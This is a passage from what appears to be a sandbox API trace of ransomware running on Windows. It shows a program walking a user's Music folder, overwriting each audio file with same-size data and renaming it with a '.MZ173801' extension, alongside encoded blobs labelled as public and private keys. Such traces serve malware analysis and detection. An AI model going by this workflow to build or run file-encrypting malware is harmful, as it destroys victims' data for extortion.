lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0159.014] GetCurrentThreadId () returned 0xab4 [0159.014] GetCurrentThreadId () returned 0xab4 [0159.014] GetCurrentThreadId () returned 0xab4 [0159.014] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\4Nap.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\4nap.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.014] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0159.014] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.014] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xce58 [0159.014] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.014] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xce58, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0xce58, lpOverlapped=0x0) returned 1 [0159.016] CloseHandle (hObject=0x2f8) returned 1 [0159.017] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\4Nap.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\4nap.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.018] WriteFile (in: hFile=0x2f8, lpBuffer=0x24ae040*, nNumberOfBytesToWrite=0xce58, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24ae040*, lpNumberOfBytesWritten=0x19f758*=0xce58, lpOverlapped=0x0) returned 1 [0159.019] CloseHandle (hObject=0x2f8) returned 1 [0159.021] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\4Nap.mp3" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\4nap.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\4Nap.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\4nap.mp3.mz173801")) returned 1 [0159.022] GetCurrentThreadId () returned 0xab4 [0159.022] GetCurrentThreadId () returned 0xab4 [0159.022] GetCurrentThreadId () returned 0xab4 [0159.022] GetCurrentThreadId () returned 0xab4 [0159.022] GetCurrentThreadId () returned 0xab4 [0159.022] GetCurrentThreadId () returned 0xab4 [0159.022] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c5c30, ftCreationTime.dwHighDateTime=0x1d5e966, ftLastAccessTime.dwLowDateTime=0x21e94710, ftLastAccessTime.dwHighDateTime=0x1d5ed15, ftLastWriteTime.dwLowDateTime=0x21e94710, ftLastWriteTime.dwHighDateTime=0x1d5ed15, nFileSizeHigh=0x0, nFileSizeLow=0x405, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="5V xr.m4a", cAlternateFileName="5VXR~1.M4A")) returned 1 [0159.022] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.022] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\5V xr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\5v xr.m4a"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81c5c30, ftCreationTime.dwHighDateTime=0x1d5e966, ftLastAccessTime.dwLowDateTime=0x21e94710, ftLastAccessTime.dwHighDateTime=0x1d5ed15, ftLastWriteTime.dwLowDateTime=0x21e94710, ftLastWriteTime.dwHighDateTime=0x1d5ed15, nFileSizeHigh=0x0, nFileSizeLow=0x405)) returned 1 [0159.022] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\5V xr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\5v xr.m4a")) returned 0x20 [0159.022] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\5V xr.m4a", dwFileAttributes=0x80) returned 1 [0159.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0159.024] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0159.025] GetCurrentThreadId () returned 0xab4 [0159.025] GetCurrentThreadId () returned 0xab4 [0159.025] GetCurrentThreadId () returned 0xab4 [0159.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0159.025] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0159.026] GetCurrentThreadId () returned 0xab4 [0159.026] GetCurrentThreadId () returned 0xab4 [0159.026] GetCurrentThreadId () returned 0xab4 [0159.026] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\5V xr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\5v xr.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.026] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0159.026] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.026] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x405 [0159.026] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0159.026] ReadFile (in: hFile=0x2f8, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x405, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19f74c*=0x405, lpOverlapped=0x0) returned 1 [0159.027] CloseHandle (hObject=0x2f8) returned 1 [0159.027] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\5V xr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\5v xr.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0159.028] WriteFile (in: hFile=0x2f8, lpBuffer=0x24a2040*, nNumberOfBytesToWrite=0x405, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24a2040*, lpNumberOfBytesWritten=0x19f758*=0x405, lpOverlapped=0x0) returned 1 [0159.030] CloseHandle (hObject=0x2f8) returned 1 [0159.031] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\5V xr.m4a" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\5v xr.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\5V xr.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\gsdux_nrv\\5v xr.m4a.mz173801")) returned 1 [0159.032] GetCurrentThreadId () returned 0xab4 [0159.032] GetCurrentThreadId () returned 0xab4 [0159.032] GetCurrentThreadId () returned 0xab4 [0159.032] GetCurrentThreadId () returned 0xab4 [0159.032] GetCurrentThreadId () returned 0xab4 [0159.032] GetCurrentThreadId () returned 0xab4 [0159.032] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x297b9a0, ftCreationTime.dwHighDateTime=0x1d5ead1, ftLastAccessTime.dwLowDateTime=0x53c0b960, ftLastAccessTime.dwHighDateTime=0x1d5e209, ftLastWriteTime.dwLowDateTime=0x53c0b960, ftLastWriteTime.dwHighDateTime=0x1d5e209, nFileSizeHigh=0x0, nFileSizeLow=0x6d04, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="qGswZi1Gyw _CPZuF.mp3", cAlternateFileName="QGSWZI~1.MP3")) returned 1 [0159.032] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0159.032] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0159.032] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\Gsdux_nrV\\qGswZi1Gyw _CPZuF.mp3" 